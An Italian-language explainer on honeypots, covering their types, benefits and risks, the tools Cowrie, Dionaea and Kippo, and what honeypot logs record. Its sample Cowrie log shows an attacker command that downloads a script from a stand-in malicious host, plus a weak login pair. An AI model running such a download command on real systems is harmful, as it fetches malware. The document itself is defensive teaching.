Cos'è una honeypot in cybersecurity?

Una honeypot è un sistema o risorsa informatica configurata per apparire come un bersaglio attraente per i cybercriminali, ma progettata per:

- **Rilevare attacchi** raccogliendo dati sul comportamento degli aggressori.
- **Studiare tattiche** usate dai malintenzionati.
- **Distrarre gli attaccanti** dalle risorse reali.

Tipi principali:

1. **Honeypot a bassa interazione**: Simula solo alcuni servizi base di un sistema (es. un server web con funzionalità limitate).
    - Vantaggi: Sicuro, facile da configurare.
    - Svantaggi: Limita la raccolta di dati complessi.
2. **Honeypot ad alta interazione**: Simula interi sistemi operativi o applicazioni.
    - Vantaggi: Offre dettagli ricchi sugli attacchi.
    - Svantaggi: Maggior rischio di compromissione se mal gestito.
3. **Honeynets**: Reti complete di honeypot interconnessi per catturare attacchi complessi.

Vantaggi dell'uso delle honeypot:

- **Identificazione proattiva**: Rilevano attacchi non ancora noti.
- **Distrazione**: Allontanano gli attaccanti da sistemi critici.
- **Analisi forense**: Forniscono dettagli su tattiche, tecniche e procedure (TTP).
- **Economiche**: Possono essere implementate con risorse minime.

Rischi e limitazioni:

- **Falsi positivi/bassi volumi di dati**: Rilevano solo attacchi che le colpiscono direttamente.
- **Rischio di abuso**: Se compromesse, gli aggressori potrebbero usarle come base per ulteriori attacchi.
- **Manutenzione complessa**: Le honeypot ad alta interazione richiedono gestione costante.

Strumenti di honeypot open-source o commerciali

1. **Cowrie**
    - **Scopo**: Honeypot SSH/Telnet per catturare credenziali compromesse e comandi eseguiti dagli attaccanti.
    - **Funzionalità**: Registra tutti i tentativi di connessione e simulazioni di sistemi file.
    - **Utilità pratica**: Ottimo per studiare attacchi basati su credenziali e brute force.
2. **Dionaea**
    - **Scopo**: Rilevamento di exploit per protocolli comuni (SMB, FTP, HTTP).

    - **Funzionalità**: Focalizzato sulla cattura di malware distribuito tramite vulnerabilità.
    - **Utilità pratica**: Ideale per studiare payload e distribuzione di malware.
3. **Kippo**
    - **Scopo**: Honeypot SSH interattivo per emulare sistemi Unix.
    - **Funzionalità**: Consente agli attaccanti di "navigare" in un file system falso.
    - **Utilità pratica**: Fornisce dati dettagliati sui comandi eseguiti dagli attaccanti.

Esempi di log generati dalle honeypot

Tipici dati registrati:

- **Indirizzo IP**: Identifica la fonte dell'attacco.
- **Timestamp**: Registra l'orario di ogni attività.
- **Credenziali usate**: Utile per analizzare pattern di attacchi brute force.
- **Comandi eseguiti**: Mostra le intenzioni degli aggressori.
- **Payload malevoli**: Raccolta di malware distribuito.

Valore per l'analisi forense:

- Permette di identificare **tattiche e infrastrutture** degli attaccanti.
- Facilita la creazione di **firme di rilevamento** per firewall o IDS.
- Contribuisce alla comprensione di **vettori di attacco emergenti**.

Un esempio pratico di honeypot: **Cowrie**, un honeypot SSH/Telnet open-source molto diffuso.

Dettagli su Cowrie

1. **Descrizione**:
   Cowrie è progettato per simulare un server SSH/Telnet vulnerabile, spesso usato per attirare attaccanti che tentano brute force o altre tecniche di compromissione.
2. **Caratteristiche principali**:
    - **Cattura di credenziali**: Registra username e password tentati dagli attaccanti.
    - **Simulazione di file system**: Permette agli attaccanti di navigare in un sistema operativo finto.
    - **Logging avanzato**: Salva i comandi eseguiti, i file scaricati o caricati dagli attaccanti.
    - **Replay degli attacchi**: Puoi visualizzare esattamente ciò che l'attaccante ha fatto.
3. **Caso d'uso reale**:
    - Un amministratore configura Cowrie su un server pubblico per attirare attaccanti che usano tecniche brute force contro credenziali SSH.
    - Cowrie cattura i tentativi di login e i payload caricati dagli attaccanti, fornendo preziose informazioni per analisi forense

4. **Log di esempio**:
    - **IP dell'attaccante**: `192.168.1.50`
    - **Tentativo di login**: username `admin`, password `12345`.
    - **Comandi eseguiti**: `wget http://malicious.com/malware.sh`
    - **Malware catturato**: `malware.sh` salvato per analisi.

Pro e Contro

Pro:

- Semplice da configurare.
- Offre informazioni dettagliate sui comportamenti degli attaccanti.
- Strumento open-source, quindi altamente personalizzabile.

Contro:

- Rischio che il server possa essere usato come base di attacco se mal configurato.
- Non simula sistemi complessi come honeypot ad alta interazione.